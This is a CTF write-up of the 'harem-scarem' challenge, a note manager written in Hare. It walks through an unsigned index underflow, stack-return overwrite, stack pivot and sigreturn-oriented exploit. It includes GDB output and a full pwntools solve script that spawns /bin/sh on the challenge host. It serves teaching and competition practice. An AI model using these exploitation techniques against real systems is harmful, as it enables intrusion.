The Challenge

Another year, another quirky language to pwn

Author: clubby789

We’re given a static binary and the following source code in a file named main.ha:

use fmt;
use bufio;
use bytes;
use os;
use strings;
use unix::signal;

const bufsz: u8 = 8;

type note = struct {
    title: [32]u8,
    content: [128]u8,
    init: bool,
};

fn ptr_forward(p: *u8) void = {
    if (*p == bufsz - 1) {
        fmt::println("error: out of bounds seek")!;
    } else {
        *p += 1;
    };
    return;
};

fn ptr_back(p: *u8) void = {
    if (*p - 1 < 0) {
        fmt::println("error: out of bounds seek")!;
    } else {  
        *p -= 1;
    };
    return;
};

fn note_add(note: *note) void = {
    fmt::print("enter your note title: ")!;
    bufio::flush(os::stdout)!;
    let title = bufio::scanline(os::stdin)! as []u8;
    let sz = if (len(title) >= len(note.title)) len(note.title) else len(title);
    note.title[..sz] = title[..sz];
    free(title);
    
    fmt::print("enter your note content: ")!;
    bufio::flush(os::stdout)!;
    let content = bufio::scanline(os::stdin)! as []u8;
    sz = if (len(content) >= len(note.content)) len(note.content) else len(content);
    note.content[..sz] = content[..sz];
    free(content);   
    note.init = true;
};

fn note_delete(note: *note) void = {
    if (!note.init) {
        fmt::println("error: no note at this location")!;
        return;
    };
    bytes::zero(note.title);
    bytes::zero(note.content);
    note.init = false;
    return;
};

fn note_read(note: *note) void = {
    if (!note.init) {
        fmt::println("error: no note at this location")!;
        return;
    };
    fmt::printfln("title: {}\ncontent: {}",
        strings::fromutf8_unsafe(note.title),
        strings::fromutf8_unsafe(note.content)
    )!;
    return;
};

fn handler(sig: int, info: *signal::siginfo, ucontext: *void) void = {
  fmt::println("goodbye :)")!;
  os::exit(1);
};

export fn main() void = {
    signal::handle(signal::SIGINT, &handler);
    let idx: u8 = 0;
    let opt: []u8 = [];
    let notes: [8]note = [
            note { title = [0...], content = [0...], init = false}...
    ];
    let notep: *[*]note = &notes;
    assert(bufsz == len(notes));
    for (true) {
        fmt::printf(
"1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> ")!;
        bufio::flush(os::stdout)!;
        opt = bufio::scanline(os::stdin)! as []u8;
        defer free(opt);
        switch (strings::fromutf8(opt)!) {
            case "1" => ptr_forward(&idx);
            case "2" => ptr_back(&idx);
            case "3" => note_add(&notep[idx]);
            case "4" => note_delete(&notep[idx]);
            case "5" => note_read(&notep[idx]);
            case "6" => break;
            case => fmt::println("Invalid option")!;
        };
    };
};

Vim detected the file type as some language called Hare. It looks kind of like Rust and it was pretty easy to read so I didn’t bother looking at the Hare documentation. The challenge also provided a Dockerfile which I didn’t end up needing.

Vulnerability

This seems to be a program for managing notes. Each note contains a title and content stored in fixed-size arrays, and the notes are stored in an array on the stack. While reading through the code, I noticed that the if (*p - 1 < 0) check is useless since *p - 1 is unsigned and can never be negative. We can therefore get the current note index to wrap around to 255 by decrementing it when it is 0. I tried doing this and got a segfault when adding a new note, indicating that we can overwrite stack memory after the array:

gef➤  r
Starting program: /home/alex/harem-scarem/harem 

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.fedoraproject.org/>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> 2
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> 3
enter your note title: foo

Program received signal SIGSEGV, Segmentation fault.
rt.memmove () at /tmp/dcd1030ff3516291/temp.rt.1.s:174
174 /tmp/dcd1030ff3516291/temp.rt.1.s: No such file or directory.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x800000007c57    
$rcx   : 0x6f              
$rdx   : 0x3               
$rsp   : 0x00007fffffffda200x00007fffffffdbe00x00007fffffffe2700x00007fffffffe2800x00007fffffffe290  →  0x0000000000000000
$rbp   : 0x00007fffffffda200x00007fffffffdbe00x00007fffffffe2700x00007fffffffe2800x00007fffffffe290  →  0x0000000000000000
$rsi   : 0x00007ffff7ef9020  →  0x00007ffff76f6f66
$rdi   : 0x800000007c57    
$rip   : 0x0000000008015768<rt[memmove]+75> mov BYTE PTR [rdi+r8*1], cl
$r8    : 0x2               
$r9    : 0x1               
$r10   : 0x20              
$r11   : 0x216             
$r12   : 0x00007ffff7ef9020  →  0x00007ffff76f6f66
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda20│+0x0000: 0x00007fffffffdbe00x00007fffffffe2700x00007fffffffe2800x00007fffffffe290  →  0x0000000000000000    ← $rsp, $rbp
0x00007fffffffda28│+0x0008: 0x000000000800144e<note_add+880> mov rdi, r12
0x00007fffffffda30│+0x0010: 0x0000000000000000
0x00007fffffffda38│+0x0018: 0x0000000000000000
0x00007fffffffda40│+0x0020: 0x00007fffffffdab0  →  0x00007ffff7ef9020  →  0x00007ffff76f6f66
0x00007fffffffda48│+0x0028: 0x000000008d8f5fe7
0x00007fffffffda50│+0x0030: 0x0000000000000017
0x00007fffffffda58│+0x0038: 0x0000000008005dd9<io[write]+271> mov rcx, rax
─────────────────────────────────────────────────────────────── code:x86:64 ────
    0x801575d <rt[memmove]+64> sub    rcx, rax
    0x8015760 <rt[memmove]+67> sub    rcx, 0x1
    0x8015764 <rt[memmove]+71> movzx  ecx, BYTE PTR [rsi+rcx*1]
 →  0x8015768 <rt[memmove]+75> mov    BYTE PTR [rdi+r8*1], cl
    0x801576c <rt[memmove]+79> add    rax, 0x1
    0x8015770 <rt[memmove]+83> jmp    0x8015748 <rt.memmove+43>
    0x8015772 <rt[memmove]+85> mov    eax, 0x0
    0x8015777 <rt[memmove]+90> cmp    rax, rdx
    0x801577a <rt[memmove]+93> jae    0x8015789 <rt.memmove+108>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "harem", stopped 0x8015768 in rt.memmove (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8015768 → rt.memmove()
[#1] 0x800144e → note_add()
[#2] 0x8000a54 → main()
────────────────────────────────────────────────────────────────────────────────

Exploitation

checksec showed that PIE is disabled. It also said that there are RWX mappings for some reason but I didn’t see any in GDB, so it looks like we have to use ROP.

[alex@ctf harem-scarem]$ checksec harem 
[*] '/home/alex/harem-scarem/harem'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x7fff000)
    RWX:      Has RWX segments
gef➤  vm
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000007fff000 0x000000000801b000 0x0000000000000000 r-x /home/alex/harem-scarem/harem
0x0000000080000000 0x0000000080007000 0x000000000001c000 rw- /home/alex/harem-scarem/harem
0x0000000080007000 0x0000000080010000 0x0000000000000000 rw- [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

Return Address

First, I had to figure out how to overwrite the return address of main. I did this mostly by trial and error where I tried writing notes to various out-of-bounds note indices until I got a segfault on a ret instruction with rsp pointing to the contents of the note. I used a simple script like this to set the note index:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./harem")

context.binary = exe

r = process([exe.path])
gdb.attach(r)

for _ in range(246):
    r.sendlineafter(b"> ", b"2")

r.interactive()

Then I used GEF’s pattern command to find the offset in the note that corresponds to the return address:

[*] Switching to interactive mode
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> $ 3
enter your note title: $ 
enter your note content: $ aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> $ 6
Program received signal SIGSEGV, Segmentation fault.
main () at /tmp/3212512f44fd4eab/temp..23.s:606
606 /tmp/3212512f44fd4eab/temp..23.s: No such file or directory.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000000008000a8e0  →  0x00007f85b16d5010  →  0x00007f85b16d5020  →  0x00007f85b16d5030  →  0x00007f85b16d5040  →  0x00007f85b16d5050  →  0x00007f85b16d5060  →  0x00007f85b16d5070
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007ffd9f22f468"aadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa[...]"
$rbp   : 0x6161616161636161 ("aacaaaaa"?)
$rsi   : 0x8               
$rdi   : 0x00007f85b16d5010  →  0x00007f85b16d5020  →  0x00007f85b16d5030  →  0x00007f85b16d5040  →  0x00007f85b16d5050  →  0x00007f85b16d5060  →  0x00007f85b16d5070  →  0x00007f85b16d5080
$rip   : 0x00000000080009e3<main+2516> ret 
$r8    : 0x36              
$r9    : 0x1               
$r10   : 0x20              
$r11   : 0x216             
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd9f22f468│+0x0000: "aadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa[...]"   ← $rsp
0x00007ffd9f22f470│+0x0008: "aaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa[...]"
0x00007ffd9f22f478│+0x0010: "aafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaa[...]"
0x00007ffd9f22f480│+0x0018: "aagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa[...]"
0x00007ffd9f22f488│+0x0020: "aahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaa[...]"
0x00007ffd9f22f490│+0x0028: "aaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaa[...]"
0x00007ffd9f22f498│+0x0030: "aajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa[...]"
0x00007ffd9f22f4a0│+0x0038: "aakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa[...]"
─────────────────────────────────────────────────────────────── code:x86:64 ────
    0x80009d9 <main+2506>      mov    rdi, QWORD PTR [rbp-0x50]
    0x80009dd <main+2510>      call   0x80159b6 <rt.free>
    0x80009e2 <main+2515>      leave  
 →  0x80009e3 <main+2516>      ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "harem", stopped 0x80009e3 in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80009e3 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search $rsp
[+] Searching for '6161646161616161'/'6161616161646161' with period=8
[+] Found at offset 22 (little-endian search) likely

Gadgets

Now that I could overwrite the return address, I looked at the available gadgets. There is a syscall gadget, but I didn’t see any gadgets for controlling rdi, rsi, rdx, and rax:

[alex@ctf harem-scarem]$ xgadget --reg-pop harem
TARGET 0 - 'harem': ELF-X64, 0x00000008000000 entry, 111848/1 executable bytes/segments 

0x000000080017d9: pop r12; pop rbx; leave; ret; 
0x00000008001f94: pop r13; pop r12; pop rbx; leave; ret; 
0x00000008001f95: pop rbp; pop r12; pop rbx; leave; ret; 
0x00000008000f6d: pop rbx; leave; ret; 
0x000000080017da: pop rsp; pop rbx; leave; ret; 

CONFIG [ search: Register-pop-only | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ]
RESULT [ unique_gadgets: 5 | search_time: 12.8595ms | print_time: 2.368572ms ]

Many of the gadgets had leave instructions which would mess up rsp, and the binary didn’t contain a system function or a /bin/sh string, which I checked for using GEF’s grep command.

Sigreturn

At some point I remembered learning about sigreturn, which is a syscall that can be used to control all of the registers. It is normally used to return from signal handlers, and it restores the state of the registers from a structure on the top of the stack. If I can set eax to 0xf, the syscall number for sigreturn, then I can invoke sigreturn with a fake frame on the stack containing the register values that I want. I looked at the gadget list again and found a convenient sigreturn gadget:

0x0000000801a4ac: mov eax, 0xf; syscall; 

Now I have control over all of the registers!

/bin/sh

What’s missing now is a /bin/sh string in memory at some known address. I considered leaking a stack pointer with an out-of-bound read, but I couldn’t find a stack pointer on the stack that was aligned with the start of the title or content of a note. While looking at the process’s memory mappings, I decided to check if the input data passes through a buffer with a fixed address at some point. I had already tried entering a string and then searching for it in memory with GEF’s grep command, but I realized that the beginning of the string might get overwritten when the buffer is reused or its heap chunk is freed. Therefore I tried adding some padding at the beginning of the string, and now it appears at a constant address even with ASLR on:

gef➤  r
Starting program: /home/alex/harem-scarem/harem 
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> 3
enter your note title:                                 
enter your note content: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafoobar
1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> 5

Breakpoint 1, note_read () at /tmp/3212512f44fd4eab/temp..23.s:829
829	in /tmp/3212512f44fd4eab/temp..23.s

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffe18de23e8  →  0x0000000000000000
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x00007f004682c010  →  0x00007f004682c035  →  0x000000000800007f<main+112> add BYTE PTR [rax], al
$rsp   : 0x00007ffe18de23d80x0000000008000a08<main+2553> jmp 0x8000a70 <main+2657>
$rbp   : 0x00007ffe18de2a600x00007ffe18de2a700x00007ffe18de2a80  →  0x0000000000000000
$rsi   : 0x0000000080000100  →  0x0000000000000035 ("5"?)
$rdi   : 0x00007ffe18de23e8  →  0x0000000000000000
$rip   : 0x0000000008000cbf<note_read+0> push rbp
$r8    : 0x35              
$r9    : 0x1               
$r10   : 0x20              
$r11   : 0x216             
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffe18de23d8│+0x0000: 0x0000000008000a08<main+2553> jmp 0x8000a70 <main+2657>	 ← $rsp
0x00007ffe18de23e0│+0x0008: 0x0000000000000000
0x00007ffe18de23e8│+0x0010: 0x0000000000000000	 ← $rax, $rdi
0x00007ffe18de23f0│+0x0018: 0x0000000000000000
0x00007ffe18de23f8│+0x0020: 0x0000000000000000
0x00007ffe18de2400│+0x0028: 0x0000000000000000
0x00007ffe18de2408│+0x0030: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafoobar"
0x00007ffe18de2410│+0x0038: "aaaaaaaaaaaaaaaaaaaaaaaaafoobar"
─────────────────────────────────────────────────────────────── code:x86:64 ────
    0x8000cb8 <handler+196>    call   0x8009840 <os.exit>
    0x8000cbd <handler+201>    leave  
    0x8000cbe <handler+202>    ret    
 →  0x8000cbf <note_read+0>    push   rbp
    0x8000cc0 <note_read+1>    mov    rbp, rsp
    0x8000cc3 <note_read+4>    sub    rsp, 0x128
    0x8000cca <note_read+11>   push   rbx
    0x8000ccb <note_read+12>   movzx  eax, BYTE PTR [rdi+0xa0]
    0x8000cd2 <note_read+19>   cmp    eax, 0x0
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "harem", stopped 0x8000cbf in note_read (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8000cbf → note_read()
[#1] 0x8000a08 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  grep foobar
[+] Searching 'foobar' in memory
[+] In '/home/alex/harem-scarem/harem'(0x80000000-0x80007000), permission=rw-
  0x80006471 - 0x80006479  →   "foobar\n" 
[+] In (0x7f004652c000-0x7f004692c000), permission=rw-
  0x7f004652c031 - 0x7f004652c037  →   "foobar" 
[+] In '[stack]'(0x7ffe18dc3000-0x7ffe18de4000), permission=rw-
  0x7ffe18de2429 - 0x7ffe18de242f  →   "foobar" 
gef➤  vm
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000007fff000 0x000000000801b000 0x0000000000000000 r-x /home/alex/harem-scarem/harem
0x0000000080000000 0x0000000080007000 0x000000000001c000 rw- /home/alex/harem-scarem/harem
0x0000000080007000 0x0000000080010000 0x0000000000000000 rw- 
0x00007f004652c000 0x00007f004692c000 0x0000000000000000 rw- 
0x00007ffe18dc3000 0x00007ffe18de4000 0x0000000000000000 rw- [stack]
0x00007ffe18df6000 0x00007ffe18dfa000 0x0000000000000000 r-- [vvar]
0x00007ffe18dfa000 0x00007ffe18dfc000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

Implementation

I started to implement the exploit. One problem that I ran into was that the sigreturn frame was much bigger than the maximum length of a note’s contents. It might have been possible to split the frame over multiple notes, but I figured that it was easier to place the frame at a fixed address together with the /bin/sh string and stack pivot to it. I got the exploit to work with some minor debugging and obtained the flag.

Solve script with comments added:

#!/usr/bin/env python3

import subprocess

from pwn import *

exe = ELF("./harem")

context.binary = exe

if args.REMOTE:
    r = remote("be.ax", 32564)
    # Solve the proof of work.
    r.recvuntil(b"sh -s ")
    powval = r.recvlineS(keepends=False)
    r.sendlineafter(b"solution: ", subprocess.run(["./redpwnpow-linux-amd64", powval], capture_output=True).stdout)
    log.info("solved pow")
else:
    r = process([exe.path])
    if args.GDB:
        gdb.attach(r)

sigreturn_gadget = 0x801a4ac
# leave; ret;
# For stack pivoting.
leave_gadget = 0x80009e2
syscall_gadget = 0x801a444

# Set the note index to an out-of-bound value.
# Send and receive separately to make it faster on a slow internet connection.
for _ in range(246):
    r.sendline(b"2")
for _ in range(246):
    r.recvuntil(b"> ")

# Overwrite the return address and saved rbp of main to stack pivot to the payload below.
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"title: ", b"")
# The saved rbp is overwritten with 0x80006468, which is 8 bytes before the start of the payload.
# The leave instruction at the end of main will pop this address into rbp.
# The return address is overwritten with the address of a leave gadget,
# which will move the address from rbp into rsp and pop into rbp so that rsp points to the payload.
# The payload address is found by inputting a random string and then searching for it with GEF's grep command.
r.sendlineafter(b"content: ", b"A" * 14 + p64(0x80006468) + p64(leave_gadget))

# Reset the note index back to 0 to avoid overwriting the stuff that was just written.
for _ in range(10):
    r.sendline(b"2")
for _ in range(10):
    r.recvuntil(b"> ")

# Construct sigreturn frame that sets the registers up for an execve call.
frame = SigreturnFrame()
# Address of /bin/sh string at the end of the payload
frame.rdi = 0x80006570
frame.rsi = 0
frame.rdx = 0
frame.rax = constants.SYS_execve
frame.rip = syscall_gadget
payload = p64(sigreturn_gadget) + bytes(frame) + b"/bin/sh\0"

# Insert the payload into memory at 0x80006470.
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"title: ", b"")
# Add some padding since stuff at the beginning might get overwritten.
r.sendlineafter(b"content: ", b"B" * 32 + payload)

# Cause main to return.
r.sendlineafter(b"> ", b"6")

r.interactive()

Output:

[alex@ctf harem-scarem]$ ./solve.py REMOTE
[*] '/home/alex/harem-scarem/harem'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x7fff000)
    RWX:      Has RWX segments
[+] Opening connection to be.ax on port 32564: Done
[*] solved pow
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
corctf{sur3ly_th15_t1m3_17_w1ll_k1ll_c!!}

Note that while the script does not use any of the output received from the target program, removing the recvuntil calls and using sendline instead of sendlineafter will break the exploit since the input data will be buffered differently.